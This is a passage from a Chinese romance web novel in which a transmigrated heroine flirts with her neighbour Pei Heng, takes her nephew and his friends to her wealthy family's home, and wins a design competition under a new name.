气，影响你看花。 youqing：我脾气可没那么差。 人美心黑坏邻居：是我小肚鸡肠了。 人美心黑坏邻居：那还要来家里看花吗？ youqing：你确定只是看花？ 人美心黑坏邻居：听你安排。 池又青微微挑眉。 youqing：我有证据合理怀疑你在**我。 人美心黑坏邻居：原来我在你心里还有这等实力。 人美心黑坏邻居：那有成功吗？ youqing：老大，你就这么硬钓啊？ 对方没了消息，池又青站在阳台看，发现客厅的灯光忽明忽暗。 也不知道裴珩在搞什么东西。 过了会，手机的震动提醒她又收到了新的消息。 人美心黑坏邻居：[图片] 这次，裴珩发来的图不再是花，而是他自己。 镜子前，男人叼着家居服的衣摆，露出结实有力的腹肌，和一路往下蔓延的人鱼线。 人美心黑坏邻居：池小姐，这个鱼饵还满意吗？ 池又青默默把图片保存，然后回：你就这么想我？拉黑了。 她当真把裴珩拉黑，哼着小调，回卧室洗漱睡觉。 第二天早上，池又青睡醒出门买午餐，这几天袁源爸妈介绍过来的阿姨休假，她都得自力更生。一开门，就跟对面的裴珩用目光撞了个正着。 一见到他，池又青脑子里就是那张腹肌照。 她移开目光。 裴珩却好像打定主意等她似的，主动跟她打招呼：“池小姐。” 池又青充耳不闻，抬手按电梯。 裴珩走到她的身边。 池又青发现，他眼底有一片青黑。 这家伙该不会昨天晚上一晚上没睡吧？ 熬鹰一样在家里听着她的动静，就等着她出门呢？ “我不是故意的。”裴珩说。 “什么？”池又青有点没明白他在指代哪件事。 裴珩说：“照片。” 池又青想起来了。 裴珩说：“我不是那样想你的，我只是觉得，除了这件事，我好像找不到其他可以吸引你注意的地方。” 他讲得太老实，太直白。 池又青都被逗笑：“裴珩，你干嘛把自己想得那么差？” 她这几天可是偷偷从白姨那打听了不少。 少年天才，自创公司，又接手裴家。 不过二十七岁，裴珩都快把别人的一辈子活完。 要是这样的一个人说自己没什么优点的话，那其他人还要不要活了？ “我是个很无聊的人。”裴珩说，“我不有趣，生活除了工作就是养花看书爬山。” 听起来像退休。池又青在心里腹诽。 “追人的手段也很古板，昨天是我做过最大胆的事情。” 男人低着头，望着她的眼睛。 “我知道之前没有解释，放纵你误会，是我的错。我有私心，怕你知道以后就不会再跟我走近。” “可是池小姐，去掉那些标签，那些身份，我一直都是和你相处的那个人。我希望你也可以不要为了抗拒而抗拒，如果你愿意的话，我们可以再互相了解一下吗？” “我才没有为了抗拒而抗拒。”池又青解释，“我只是讨厌你瞒着我。” “那能给我一点提示吗？池小姐，该怎么做才能让你不生气。” 池又青没说话。 裴珩问：“去买午餐？” 池又青：“嗯。” 裴珩：“吃茄子煲吗？我来做。” 池又青：“……” 裴珩：“奶油蘑菇汤？” 池又青有点馋了。 老实说，她有好长一段时间都没吃到裴珩做的饭了。 有的时候她甚至觉得，裴珩的手艺比阿姨好点。 不过她跟裴珩总归没到天天让对方给自己做饭的地方，偶尔吃过一两次后，池又青就不再麻烦裴珩。 现在裴珩忽然cue出来。 她听见自己的肚子咕嘟叫了一声。 “我只是吃饭哦。”池又青跟裴珩说，“没有原谅你。” 裴珩眼底闪过清晰可见的笑意：“好，不原谅。” “真没原谅。”池又青说。 裴珩：“我知道。” 裴珩：“我出去买菜，你在家等我？可以再睡会，做好了我叫你。” 池又青决定恭敬不如从命。 并看在裴珩这么努力的份上，将他拖出了黑名单。 youqing：早点回来，我要饿死了。 人美心黑坏邻居：好的，公主。 池又青嘴角微扬，心想，她怎么觉得裴珩掉马以后，更加肆无忌惮了呢？ * “你们和好了？”陆季燃瞧着裴珩在厨房里洗碗，凑过来，小声地问。 池又青白他一眼：“期末考都复习完了？” 陆季燃小声地说：“我就问问。” 池又青：“但我不是就问问。” 陆季燃挠挠后脑勺：“有在复习，进步说不好，现在的成绩能稳住。” 从倒数第一到中间位置，陆季燃现在已经非常满意。 倒是程筱和林砚，两个人现在在学校里称得上是王遇上王。 程筱除了英语有点薄弱外，其他科目，几乎没有敌手。 这给了林砚很大的压力，也给了他很大的动力。 有的时候，程筱会发消息给池又青询问学习英语的窍门。 别的不说，她这么科目还算得上不错。 跟程筱强调了最重要的一点：语感。 有语感的人学习英语和没语感的人学习英语，简直就是两码事。 但这玩意儿实在太过玄乎，池又青也不知道程筱懂没懂。 “对了，小姨。”陆季燃犹犹豫豫，一副有话要说的样子。 “什么东西？”她瞧见陆季燃手里似乎攥着什么。 陆季燃没马上给，而是看了眼从厨房走出来的裴珩。 “我先回去。”裴珩说，“明天见。” 池又青冲他点点头，陆季燃喊了声裴老师再见。 等人一走，池又青好笑地看着他：“还有什么事是你裴老师都听不得的？” 陆季燃有点不好意思，微微垂着脑袋，把手里一直攥着的东西递给池又青。 “身份证？”池又青一瞧那背面就认出来，“你换了个新的？旧身份证弄丢了？” 陆季燃提醒：“你看另外一边。” 身份证翻转，国徽的另外一面，印着崭新出炉的照片，和身份证所属人的信息。 池又青忽然愣了下。 池又青：“你……” 陆季燃解释：“我知道小姨你这段时间在帮我跟陆屹打官司，我也想做点什么。” 身份证的信息上，陆季燃的名字更改为了季燃。 陆季燃，哦不，应该说是季燃。 “我请裴老师帮了点忙。”季燃说，“小姨，我永远和你站在一边。” 池又青心想，这小子真是闷声干大事，冷不丁给她整了波大的。 052说：【卧槽卧槽卧槽——】 池又青不解：【你这么激动做什么？】 052：【男主改名了！】 池又青：【所以？】 052：【他在原著里从头到尾都叫陆季燃啊！！】 052：【完蛋了完蛋了完蛋了！】 052：【宿主！我也不知道系统这一次会怎么判定！只有等结果了！】 池又青两眼一抹黑：【不是，这小子自己改名也要我背锅吗？】 池又青也被052搞得心态有点慌，二话不说把现在攒到的所有点数全都兑换成妈妈的健康值。 颇有一种马上要销号跑路的慌乱。 结果等了几天，她发现这不过就是虚惊一场。 系统的最终判定结果不仅仅没有惩罚她，还给了她奖励了多余的成就点。 嘻嘻。 这波白赚。 再看季燃，眼神已经充满慈爱。 “期末好好考，考完姨带你出去玩。” 季燃好奇：“去哪？” “回姨老家。”池又青说，“你顺便问问白盛飞和袁源想不想一块出去玩。 ” 这还用问吗？季燃心想，白盛飞和袁源肯定乐意啊。 果不其然，放假出发那天，白盛飞和袁源拎着大包小包赶了过来。 “怎么带这么多行李？”池又青有点没明白。 袁源解释：“我、我妈说带点特产，给小姨你家里人。” 袁源家里做食品的，在池又青的介绍下，跟程筱的奶奶最近在搭伙做一些节庆食物。 比如手工粽子，比如过年过节的腊肉腊排骨。 别小看这些零散的东西，一旦订单量大起来，一个节日还是能赚很多。 程筱奶奶的手艺不错，他们家乡的味道，就连袁源爸妈吃了都说好。 这一次，袁源把许多腊货都带上了。 程筱的箱子倒是小小一个，纯黑色，是她今年期末考完以后，教育局发的奖励，优质特困生专属。 池又青瞧着眼前这几只，感觉自己要是手里拿着个小旗子，一路挥手一路走，估计真跟幼儿园老师没什么区别了。 好在她不是一个人。 “何叔。”池又青瞧见儒雅而来的男人，眼泪汪汪，想为自己点一首终于等你还好我没放弃。 几小只都好奇地看着他。 结束一阶段训练难得放假的白盛飞现在有一种坐牢结束的解脱感。 话比之前好多。 不知道是不是这段时间憋坏了。 “这谁啊这谁啊。”白盛飞问问左边的季燃，又问问右边的袁源。 季燃和袁源都双双摇头。 不认识啊。 再看程筱，程筱也是一脸我不知道别问我。 “走啦。”池又青招呼他们。 同时，还有几位机场的工作人员在何叔身后走过来，礼貌且主动地要帮几小只拿行李。 白盛飞紧紧握着自己行李箱的推杆，在池又青给了眼神后，才小心翼翼地放开。 跟身边的人嘀咕：“这是做什么？不会要把我们的行李抢走吧？” 何叔走在他们前面，听见这对话，偏头问：“小姐，你还没跟他们说吗？” 池又青眨眨眼：“有点忘了。” 何叔无奈一笑。 程筱没坐过飞机，但看着他们一行人跟其他人走的放心不同，难免有些困惑和担心。 她问身边的男生：“我们是不是走错了？” 季燃也是一头雾水：“应该、没吧。” 他瞄了眼池又青，池又青看起来非常没发现问题，那应该没有问题。 “这都不是航站楼了诶。”白盛飞环顾四周。 “这是贵宾楼。”一旁的小姐姐听见他们的对话，忍不住跟他们解释。 “贵宾楼？”几小只的注意力都被这句话吸引。 “也称私人航站楼。”小姐姐说，“最前面来接你们的就是本次航班的机长。” 小孩们抬头，就见到一个身着飞行制服的外国帅哥特别热情地朝着池又青走过来，跟她拥抱了下，又和何叔打招呼，还隔着跟他们招手。 季燃表情一僵，程筱低着头回避，袁源傻愣愣的，唯有白盛飞咧嘴笑开，热情回应。 “什么待遇啊。”白盛飞想不明白，“公务舱有这个待遇吗？” 小姐姐说：“是公务机呢。” “……？啊？”白盛飞没搞懂。 “简单来说，小朋友们，你们即将登上的是一辆私人飞机，不对外向一般旅客开放。” 白盛飞忽然感觉地板有点滑，不让他的腿怎么会不听使唤呢？ “谁的飞机啊？”白盛飞听到自己的嘴巴依旧在好奇地问。 “池小姐的吧。”小姐姐说。 一旁的男生说：“准确来说，是她家里人送给她的十八岁生日礼物。” “是吗？”小姐姐有点茫然，“是十八岁吗？我怎么记得是送的轮船啊？” “你要不问问游轮组那边。”男生说。 听着两个人旁若无人的小声谈论起来，白盛飞的腿又软巴了。 他身子往旁一靠，从未如此感谢过袁源有这般伟岸的肩膀。 袁源已然变成石头。 季燃和程筱没辙，推着两个人往前走。 白盛飞半梦半醒地说：“陆哥，咱，咱小姨是真有实力啊。” “我已经不姓陆了！”季燃纠正。 白盛飞改口：“好的，季哥。” “……”这名字听起来怎么就那么怪呢？ “燃哥？”白盛飞试探着改变称呼。 季燃掐掐眉心：“随你吧。” 白盛飞说：“咱们不能给小姨丢面，不能对这个私人飞机太过惊讶，知道吗？” 说是这么说，一上飞机，发出惊天卧槽的人也是他。 怎么没人告诉他，就连飞机上的毛毯都是巨贵的奢牌啊。 这下真是小刀割屁股，真就开了眼了。 第44章 第44章新的一岁，希望你踏上更大的…… “燃哥。”白盛飞小声地跟季燃说话，“咱小姨到底什么家底啊，你跟兄弟交个底，让兄弟心里也好有点数。” “不知道。”季燃也很茫然。 就在他们以为这架私人飞机已经够刷新世界观时，抵达目的地，下了飞机，专车接送到家的时候，白盛飞没忍住爆出一句卧槽。 原来电影里的豪宅不是骗人的。 他听到走在前面的女人激动地喊了一声：“suger！” 一头毛绒绒的东西飞快地朝着他们奔跑过来。 池又青配合地弯腰，蹲下身子。 这毛绒绒一下冲到池又青的怀里，两只前腿搭在池又青的肩膀上，热乎乎的大舌头毫不犹豫地凑到池又青的脸色舔着。 “这是……？”白盛飞小声地询问。 陆季燃觉得这狗有点眼熟。 盯着这大白狗半天，陆季燃终于想到，刚帮池又青搬家收拾的时候，有一副油画，画的正是一只白色的小狗。 没想到它现在居然长这么大了。 “小姐收养的流浪狗。”何叔说，“是小姐之前去尼泊尔徒步的时候捡到的，现在已经五岁了。” suger似乎知道人们正在谈论它，尾巴晃悠得格外欢快。 “它就住这个院子吗？”白盛飞好奇。 何叔指了指草地上的一栋精致小木屋：“那是suger自己的屋子，当然，小姐在家的时候，它更喜欢跟小姐待在一起。” “suger的每顿餐食都有专门的营养师负责，也有专人负责带它出去玩。” 何叔说到这些的时候，语气格外平常。 白盛飞却听得心惊胆战，转头跟季燃窃窃私语。 “你说我要是打游戏打不出什么名堂，能不能申请来你小姨家里上班？” 季燃无语地看他一眼。 白盛飞又说：“你觉不觉得你的处境跟这条狗有点像？” 季燃拳头硬了。 白盛飞的嘴巴没停下：“大家兄弟一场，我到时候也可以来给你当狗保姆，陪玩嘛。袁胖可以做你的营养师。” 季燃额头直冒黑线。 白盛飞一副什么都不多说的表情，抬手拍拍季燃的肩膀，苟富贵勿相忘六个大字尽藏在不言之中。 季燃抿了抿唇，没说话。 袁源和程筱走在一旁，朝旁张望几眼，都不敢大声说话。 suger倒是很热情，跟池又青撒完娇以后，就跑到他们的面前，挨着摇头晃尾求摸摸。 在小狗热情的招呼下，几小只的状态终于放松许多。 白盛飞以为大门里堪比城市花园的绿化就已经够夸张，走进屋子，瞧见屋内的装潢，他都感觉自己脚底的鞋不配踩上这地板。 “我算是见识到了。”白盛飞轻声地说，“原来电视剧里的豪门都是样板间，这才是真豪门。” 季燃拿胳膊肘撞他，示意他别再说这种话。 一位优雅得体的妇人走过来，听到池又青喊了一声妈咪后，几小只才慌乱地互看，琢磨着到底该开口喊什么。 还得是季燃头铁，硬着头皮喊了一声：“姨奶奶。” 池习君笑着走向他：“这就是季瑾的孩子吧？” 池又青点点头。 “叫什么来着？”池习君回忆着， “陆……” “季燃。”男生自主介绍着，“姨奶奶，我叫季燃。” “这几位都是小燃子的朋友。”池又青跟池习君说，“正好放假，带他们来玩一圈。” “房间都安排好了吗？”池习君问。 池又青挽着妈妈的手：“还没呢，一会听何叔安排。” 池习君说：“好好好，都依你。跟我聊聊，最近过得怎么样？” 池又青同她走到一边去，让何叔带着几小只在家里逛逛。 一路走，下巴一路掉。 等看到一张全家福时，白盛飞才奇怪地发出疑问：“何叔叔，这是小姨的照片吗？” “是的，照片是小姐，夫人，和老夫人。”何叔介绍道。 白盛飞不解地瞧着照片：“可是……” 小姨的姥姥姥爷看起来可都是欧洲人啊。 “夫人是老夫人领养的。”何叔解释道。 白盛飞看向陆季燃，陆季燃显然也并不知道这件事。 从何叔嘴里才得知，当年季家嫌池习君这个幺女养在家里费钱，把她遗弃，结果哪知道被老夫人领养，带去国外，现在倒是成了鸡窝里唯一飞出来的凤凰。 “回来多久？”池习君拉着女儿的手问。 “半个月吧。”池又青说，“带他们到处转转。” “好。”池习君拍拍她的手背，“你现在倒是有点当小姨的样子了。” “妈咪！”池又青把头靠在池习君的肩膀上，“别笑话我。” “生日打算怎么过？”池习君揉揉女儿的脑袋，“我来安排？” “好啊，但不要太夸张了。”池又青觉得她妈妈有派对重度爱好症，从小到大，她的每次生日，都被弄得格外浓重。 池习君答应得非常爽快，还跟池又青拉钩保证。 真正过生日那天，池又青看着被装点得盛大热闹的游轮，头都有些发疼。 季燃几人显然是第一次见到这种阵仗，池又青把他们拜托给何叔，让何叔帮忙盯着点，不要碰不该碰的东西。 崔妍和陈念双双赶来。 瞧见季燃，崔妍凑到池又青的耳边咬耳朵道：“这就是你那便宜侄子？” “怎么？”池又青睨她一眼。 “感觉是个好苗子。”崔妍说，“凭借老娘看帅哥多年的锐利目光，这小子以后说不定能火。打算让他进娱乐圈吗？” “听天由命吧。”池又青回，目光往崔妍身后的男人扫了眼，“你把霍影帝都带来了？这是有进展？” 崔妍嗐了一声：“粘人，非要跟着来。” 池又青拿胳膊肘撞撞陈念，调侃地重复：“听到了吗？粘人。” 陈念也八卦一笑：“是挺粘人的。” 崔妍面不红心不跳：“是他自愿的，又不是我求来的。别光说我，倒是你，跟你的那位未婚夫有进展吗？” 池又青捂着耳朵。 崔妍把她的手拽下来：“别装啊，我知道你听见了。” 池又青不甚在意地回：“就那样吧，也没什么。” 结果等游轮靠岸，宾客四散，池又青窝在主厅拆礼物的时候，发现一件特别的信封。 火漆精致地烙印在透着闪点的黑色厚纸上。 她拿小刀拆开，瞧见里面是一张邀请函。 送礼物的人没有留下姓名。 但池又青不知怎么，心中涌出一种直觉，转头问何叔：“何叔，这是谁送的？” 何叔回忆着：“邮递员送过来的，我也不清楚。” 池又青捏着信封，微微扬眉。 季燃在被白盛飞和程筱反复左右夹击以后，轻咳一声，递出一个小巧的礼品袋。 “小姨。”他有些不好意思地说，“这是我们准备的礼物，祝你生日快乐。” 池又青无奈一笑：“都跟你们说了，小孩子准备这些做什么？” 她接过袋子，打开，盒子里装着的是一个精致的复古vintage胸针。 “这不便宜吧？”池又青一眼就看出来。 白盛飞嘴皮子最六，忙说：“小姨，这都是我们几个凑的钱，你放心，也没特别贵的。我最近刚拿了一笔奖金，燃哥这段时间也在接作曲的单子，袁胖还自己做甜点卖呢。” “我也接了点家教的活。”程筱小声地说，“池姐姐，你就收下吧，也算是我们的小小心意。” “是啊。”季燃说，“小姨，你放心，以后我们会给你准备更好的礼物。” “好啦好啦。”池又青一把将几个小崽子都搂进怀里，“心意我收到了，你们要真给我更好的礼物，那就好好把接下来的高三上完，别跟以前一样捣乱。” “姨——！” 池又青笑着把几小只哄走，瞧着手里的信封，反复看了几遍后，拍照发给某人。 某人回消息很快。 人美心黑坏邻居：收到了？ youqing：怎么知道我过生？ 人美心黑坏邻居：我对婚约对象，这一点了解还是有得。 youqing：这什么？ 人美心黑坏邻居：红房杯世界设计大赛的邀请函。 youqing：干嘛给我这个？我又不是拿不到。 人美心黑坏邻居：我想这一次，你可能更想要用另外的身份参加比赛。 红房杯世界设计大赛为邀请赛制，只有拿到邀请函的设计师才能够参赛。池又青上一次参加这个比赛，就是从妈妈手里拿到的邀请函。也是上一次参加这个比赛，她听见了导师对她的评价。 “这孩子最大的优点，就是她有个时尚教母的妈妈。” 尊敬的人给出的这份评价，曾让池又青困在其中走不出。 她本想着等自己的品牌做大以后，自会有资格向官方申请参赛，或者等着官方对她做出邀请。 倒是没想到，裴珩竟也不知道通过什么办法，拿到了邀请函。 现在，她只需要在这一张空白的邀请函上写上她想要的名字，就可以以一个全新的身份参加比赛。 youqing：怎么做到的？ 人美心黑坏邻居：你不会想知道的。 youqing：出卖男色？ 人美心黑坏邻居：我以为这招只对你有用。 youqing：对自己有点信心吧裴老板^^ 人美心黑坏邻居：这是在告诉我，在你面前，我也可以多一点信心吗？ youqing：喂—— 人美心黑坏邻居：不逗你了。 人美心黑坏邻居：池又青，生日快乐。 人美心黑坏邻居：新的一岁，希望你踏上更大的舞台。 池又青低头瞧着手里的邀请函，嘴角轻扬。 更大的舞台？ 她想她会的。 红房杯设计大赛池又青并不陌生。 她曾是这个比赛最年轻的得奖者。 再次参赛，对她来说，并不算什么困难的事。只是重来这一遭，很多心性都变化了。 当年她一心想要设计符合妈妈品牌风格的作品，现在却不一样了。 池又青总觉得，她的心比之前更轻盈，所以下笔以后，纸上的线条也像是会呼吸一样。 上传完设计稿件那一天，池又青以为自己会紧张，但她完全没有。 比起自己的比赛结果，她更担心陆季燃的考试成绩。 新的学期，江城九中与时俱进，实行走班制度。 陆季燃终于不用每天待在十八班，但不断地更换教室和周遭的同学，也让他有些难以适应。 程筱不再收敛锋芒，短短一段时间里，已经成为九中的传奇人物。 两年来头一个在学习成绩上可以和林砚比肩的学霸。 要不是英语是程筱的短板，多数时候，她都可以按着林砚打，霸榜第一名。 袁源的进步也很明显，至少对袁家父母来说，已经超过他们所期望的一切。 白盛飞在DLS待得不错，熬过训练期后，新的一年里，终于有了上替补位的机会。 池又青想到自己最开始并不乐意来到江城。 如今却在江城有了许多在意的人…… 不得不说，有的时候，还是要佩服老天的安排。 除了裴珩。 池又青至今没有让妈妈知道她跟裴珩已经认识。 开玩笑。 知道以后指不定要面临什么情况呢？ 虽然她妈的身体现在已经完全痊愈，也跟她保证过，不会再对她做出催婚或建议相亲的行为。 但…… 池又青心里总是没底。 如果把裴珩换成另外一个与她毫无关系的普通人，她都觉得这段关系的推进会比现在顺利很多。 偏偏这个 人是裴珩。 池又青有一种预感，如果两边的家人知道他们的现状，后果将一发不可收拾。 “所以我要这样躲避多久？” 在池又青挂断和妈妈的视讯通话以后，裴珩才被她从衣帽间里放出来。 池又青抬手整理着裴珩那刚刚被她弄得有点混乱的衣领：“不知道，看心情。” “如果你介意的话，我们可以停下来。”池又青说。 裴珩低头瞧着她，眼眸里满是无奈：“你确定要在挽着我脖子的时候对我说这句话吗？” “那又怎么了？我又不是做不到放开。”这样讲着，池又青的手作势就要松开。 裴珩莞尔，掌心扣在她的腰间，伸手将她往回搂，让她在刚刚一瞬间想要撤离的身子变得更加靠近，拉拢了两个人之间的距离。 男人的额头轻抵上来。 “是我做不到。”裴珩温声说话的时候，眼瞳里的神情几乎能把人醉死，池又青因而常常有一种错觉，裴珩似乎真的很喜欢她。 但她始终认为，在她和裴珩的关系里，喜欢和爱反而是极少被提及的事情。 至少对她来说，她只是觉得在这段关系里的足够舒适，舒适到，她可以毫无保留，没有遮掩地做自己。 “要继续刚刚的事情吗？”裴珩的眸光落在她的唇上。 “我的确需要一些充能。”池又青回答着，笑得更加明艳，“能帮忙吗？充电宝先生。” “乐意至极。”裴珩的指腹落在她的侧脸上，一寸又一寸温柔地摩挲着，随之而来的，是温柔却带着强势的吻。 池又青放空脑袋享受着。 偶尔走神一瞬间，忽地想到崔妍说过的话—— 男色，就是生活最好的调味剂。 画稿画到崩溃的时候，适当地搞搞男人，不矢为一种解压方法。 次年六月，红房杯设计大赛终于宣告结束。 “嘿，布鲁斯先生。”评委议室间里，一位享誉世界的设计师正在同身边的教授说话，“你确定要推荐这位选手？” “没错。”布鲁斯推了推鼻梁上的眼镜，“她很有才华，不是吗？” “你说这位YQ？”杰瑟西瞧着面前的原装手绘稿件，“是有些天分，这种很有自然感呼吸感的风格我很喜欢。” “你的眼光没错。”布鲁斯说，“我已经迫不及待想要见到她，嘿，也许她会需要一个投资人，或者找家一家公司。” 杰瑟西了然地笑着：“布鲁斯，没想到你现在就已经做好挖墙脚的打算了。” 布鲁斯拿回那份来自YQ的参赛稿件：“不要和我抢。” “不过她是哪家公司推荐的？”杰瑟西有些好奇，“你知道的，这次比赛的邀请资格并不容易获得，在这之前，我甚至没有听过她的名字。” “这不是我们该在乎的事情。”布鲁斯说，“不管她是哪家公司推荐的，我们要做的只是选出我们觉得最优秀的作品。” 话虽这样说，可当颁奖典礼那天，布鲁斯看到出现在自己面前的人时，他脸上的表情依旧有一瞬间的迟疑和凝固。 “你是设计师YQ？”负责引导的人再次确认了一遍。 池又青颔首带笑：“是的。” 她的目光扫过布鲁斯，走向他：“教授，好久不见。” 布鲁斯难得有些打结：“Freya，好久不见。” 同她一块来的季燃凑过来小声地问：“小姨，你认识？” “以前的老师。”池又青说。 季燃觉得事情没有这么简单。 毕竟以他这么长一段时间来对池又青的观察，她可不是一个会对自己的老师如此态度的人。 “你不喜欢他。”季燃戳破这件事。 “也许。”池又青偏头对侄子说，“我以为我再见到他会生气，但好像也没有。” 在赛事组委会的指引下，池又青领着季燃入座。 他们的周围，全都是入围决赛的选手。 座位的最前排，留给了比赛的评委和一些受邀参加的圈内大佬。 “裴老师怎么在这？”季燃瞧见裴珩西装革履地走过来后，一时有些没反应过来。 池又青抬手拍拍季燃的肩膀：“你问得对，一会结束你就自己去问问他。” 季燃眼睛微眯：“小姨，你早就知道？” 池又青微笑：“也没早多少。” 季燃顶顶腮帮，心里对于现在的境况多少有些不爽。 总感觉自家小姨和裴老师背着他有一些小秘密了。 季燃环顾四周，感觉所有人都有点潮到风湿的feel。这就是时尚圈吗？他搓了搓手臂，转头询问，“小姨，你紧张吗？” “紧张什么？” “马上就要公布结果了。” 池又青轻笑一声：“如果你用这个态度面对你的月考成绩，我或许会更加高兴。” “……我能稳住就不错了。”季燃嘀咕，“小姨，你不会指望我考个清北给你看吧？” “你觉得呢？”池又青微笑。 季燃：“……我觉得没有。” “每个人的天赋点又不一样。”池又青跟季燃说，“难道你最近在因为程筱入选国家竞赛营能保送而焦虑？” 季燃的心思被看破一瞬。 “你会因为我今天没有拿到奖项而对我失望吗？”池又青问。 季燃毫不犹豫地回答：“当然不会。” “这也是我的答案。”池又青揉揉季燃的脑袋，“所以不用为我紧张，就当来看帅哥美女了。” “……？”季燃看了眼四周，几乎人人都是精致打扮，对于池又青这话他实在没办法反驳，淡淡闭上嘴不语。 红房杯哪都好，就是颁奖典礼太过冗长。 等主持人念出YQ这个名字时，池又青都有点昏昏欲睡，没反应过来。 “YQ？”台下的人窃窃私语起来。 “没听过这个名字。”他们交头接耳着。 “是新的设计师吗？” 季燃伸手推了推身边的女人：“小姨！是你！是你！” 池又青懵懂地抬眼。 站在台上准备颁奖的布鲁斯表情有些微妙。 相比于布鲁斯的芥蒂，池又青显得轻松许多，她甚至还有余力，在从布鲁斯手里接过奖杯的时候，调侃着说：“布鲁斯教授，谢谢你这一次继续选择为我颁奖，不过我想，我的妈妈应该不是你做出这个决定的影响因素了。” 布鲁斯表情微微变化，同池又青说：“Freya，我想你可能误会了。” “也许吧。”池又青对布鲁斯说，“可是教授，我现在已经不在乎了。” 当年的布鲁斯为何在别人面前对她做出那样伤人的评价，池又青已经并不在意。不管他说这话是发自真心亦或是出于妒忌，池又青都不想去深究和追问。 她手里的奖杯，已经是能得到的最好的答案。 而这不会是她旅途的节点，只是一段新的开始。 获奖以后，池又青显而易见地成为了被关注的对象。不少大品牌公司的HR负责人都来挖角。 “抱歉。”池又青无一例外地拒绝了所有人，“我暂时没有就职计划。” 上班是不能上班的。 只能每天自己给自己打打工这样。 放着系统的羊毛不薅才是大笨蛋好吗！ 卖一件衣服就能刷新成就点和获得返利这种好事…… 052怎么不早点错绑她？！ 「叮——！」 「恭喜宿主在改造系统中完成隐藏成就，获得“护花达人”称号，请再接下来的人生里，继续游戏吧！」 第45章 第45章小姨，你又要搞事啊？ “小姨，我回来了。”季燃说。 “出什么事了？” 瞧出季燃的情绪不佳，池又青坐在躺椅上问。 季燃回家之前，她正数自己的成就点呢。 一晃又是一年秋，季燃他们都上了高三，她的成就点也跟着日积月累地攒着。 山海商店的品牌更是稳定发展中，短短数月时间内，已经成为口碑热度都高居不下的平价快消品牌。 池又青逐渐从设计一线退下来 ，招了好几个设计师，只把控设计的大方向，并提供修改意见。 白琳现在成了白总，走都哪都步步带风，尽管如此，却还是仔仔细细地对待每个问题。 如今池习君的身体状态早已好转，池又青按理来说早该离开，但她秉持着来都来了的精神，决定在江城待到季燃高考结束。 那句话怎么说的？ 送佛都得送到西，送驴也还是送到底吧。 “没什么。”季燃放下书包，依着池又青的指示，拿起她放在小茶几上的水杯，替她接了点温水，又给她端过来。 池又青喝了口，问：“小燃子，你知道自己不擅长说谎吧？” “要不我拿个镜子给你照照，让你看看你现在是什么表情。” 季燃别扭道：“哪有那么夸张。” 池又青说：“等着。” 她拿出手机发了行字，家门很快就被敲响。季燃去开门，跟穿着围裙的裴珩对上眼。 他惊讶道：“裴老师，你回来了？” 裴珩没池又青这样闲，自从他的身份被池又青戳穿以后，在池又青面前，他就更加不遮掩了。裴家内部的事情处理得差不多，他这个新安排的家主不得不走马上任，时常为了工作离开江城。 季燃上次见到是一个多月前，这群小崽子还不知道裴珩的身份，池又青没打算告诉他们。毕竟又不是什么大事，难道她还要替裴珩开个新闻发布会昭告天下不成？ 至于裴珩要怎么跟季燃解释自己消失的事，那是裴珩该操心的问题。 “我上午回来的。”裴珩同季燃说，紧接着，目光又越过他，看向他身后的人，“忽然叫我，什么事？” 池又青抬抬下巴，示意道：“你看看他，瞧出什么没？” 裴珩听话地把季燃的脸端详了一番。 季燃感觉自己现在就像是过年过节被放在摊位上的某些东西。 他轻咳一声：“裴老师，你别听我小姨的。” 裴珩说：“那不行。” 他又看了会，说：“学校出事了？” 季燃不敢置信：“你们串通好逗我呢？” 池又青耸耸肩：“都说了，你这人，什么情绪都写在脸上，换谁都能看出来。” “说吧，什么事？”池又青问。 裴珩说：“稍等，你先别说。” 季燃：“？” 池又青：“？” 裴珩正色道：“我锅里还烧着排骨呢，等会饭桌上说，一起吃？” 季燃是有点馋裴珩的手艺了。 他想说啊，却又不敢私自答应，偷偷去看自家小姨的表情。 池又青扬扬下巴：“看我做什么？腿长你身上，嘴也是你自己的，你想去吃就吃。” 季燃更不敢答应了。 等裴珩回隔壁看锅，转头问：“小姨，你和裴老师吵架了吗？” “有吗？”池又青问。 季燃点点头：“我感觉有。” 池又青微笑：“没呢，没吵架。” 她单方面发脾气的事，算什么吵架？ 真要说也的确不是什么大事，就是裴珩出差的时候，池又青托他去一家当地的设计师私人店里帮忙买点东西。裴珩没拒绝，但也没答应，只说看时间安排。 今天看裴珩回来根本没提把东西拿给她的事，池又青心里就知道，八成这件事是打水漂了。 她不高兴着呢。 隔壁的饭香飘进来，池又青冷着脸坐在沙发上，打开外卖软件，准备给自己和季燃挑点饲料。 手机一震，是新消息。 人美心黑坏邻居：生气了？ 这人根本就是明知故问。 池又青不想回，把消息划掉。 下一秒，又是一条新消息。 人美心黑坏邻居：[图片] 人美心黑坏邻居：先吃饭吧。 人美心黑坏邻居：吃饱了才有力气发脾气。 youqing：？ 池又青怀疑这人分明就是欠骂。 人美心黑坏邻居：/开门 人美心黑坏邻居：/板凳 人美心黑坏邻居：/王冠 池又青嘴角轻扬，又迅速压下去。 她踹了脚坐在身边写题的季燃：“走了，去隔壁蹭饭。” 季燃摘下耳机，问：“你们和好了？” 池又青回：“都说了，根本没吵架。” 季燃才不信呢。 他小姨刚说他这个人就是什么情绪都藏不住，一点不漏地全都写在脸上了。她自己还不是这样？心里嘀咕归嘀咕，这话季燃是不敢说出口的。 等到了隔壁邻居家的饭桌上，裴珩提起季燃的心事。 “学校的事？”他问。 季燃知道自己要是不说的话就别想好好吃完这顿饭，便老实交代：“算是吧。” “这个月学校不是有艺术节吗？高一高二都参加，初中部的也要过来。但就是不让我们参加。”季燃说这话的时候不乐意得紧，筷子一个劲地戳着米饭。 裴珩示意他别这样。 池又青不高兴地说：“凭什么不让你们参加？你们也是九中的啊。” 季燃像是得到了支持一样，眼睛一下亮起来：“对吧小姨！就是说啊！我们还没走呢！不能上了高三就把我们当异类吧？哪有这样区别对待的？” “之前九中也是这样的？”池又青问。 季燃摇头：“他们说上几届的高三都参加过的，而且还表演了节目。所以这学期刚开学的时候，我们好多同学都在私下偷偷准备这件事了。就想着是高中最后一次的活动，想要留个纪念。” 季燃很少在池又青面前这样话多。 可以看得出来，由此，池又青可以判断，他好像真的非常介意这一次学校的安排。 池又青一针见血地问：“你是不是也偷偷准备了？” 季燃抿了抿唇，不说话了。 池又青好奇：“什么节目啊？说来给姨听听。” 季燃一脸的抗拒：“不要。” 池又青诶了一声：“为什么啊？有什么是我不能知道的吗？” 季燃只说：“反正就是不要。” 052见此，忽然在池又青的脑海里默默提醒。 【宿主，原著剧情里，季燃在高三这次艺术节上好像的确有准备特别表演。】 